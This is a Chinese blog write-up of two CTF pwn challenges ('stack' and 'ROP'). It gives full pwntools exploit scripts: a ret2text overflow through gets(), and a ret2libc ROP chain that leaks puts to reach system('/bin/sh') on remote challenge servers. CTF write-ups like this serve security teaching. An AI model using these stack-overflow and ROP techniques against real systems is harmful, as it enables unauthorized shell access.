N1Book-Pwn系列I

[第六章 CTF之PWN章]stack

拿到手checksec一下,看看保护
在这里插入图片描述
64位,开启了NX保护,打开IDA看看
在这里插入图片描述
在这里插入图片描述
可以看到gets函数,明显的栈溢出漏洞,并且还有system(“/bin/sh”),直接编写exp

exp:

from pwn import *

io=remote('node4.buuoj.cn',28487)

shell=0x40053B

payload = b'a'*(0xa+8)#偏移为0xa,再加上覆盖rbp(64位需要加8)
payload += p64(shell)

io.sendline(payload)
io.interactive()

在这里插入图片描述

[第六章 CTF之PWN章]ROP

还是切克一下看保护
在这里插入图片描述
64位,打开IDA看看
在这里插入图片描述
可见还是简单的栈溢出,与上题不同的是没有system函数和字符串“/bin/sh”了,所以需要构造链去泄露函数地址

利用工具寻找存放参数寄存器地址从而构造ROP链
在这里插入图片描述
exp:

from pwn import *
from LibcSearcher import *

io=remote('node4.buuoj.cn',25137)
#io=process('./rop')
elf = ELF('./rop')
libc=elf.libc
#libc=ELF('./libc-2.271.so')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

pop_rdi=0x4005d3

payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.recvuntil("hello")
io.sendline(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts_addr-libc.symbols['puts']
sys_addr=libc_base + libc.symbols['system']
bin_sh = next(libc.search(b"/bin/sh"),) + libc_base 

payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.recvuntil("hello")
io.sendline(payload)

io.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lxxxt_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值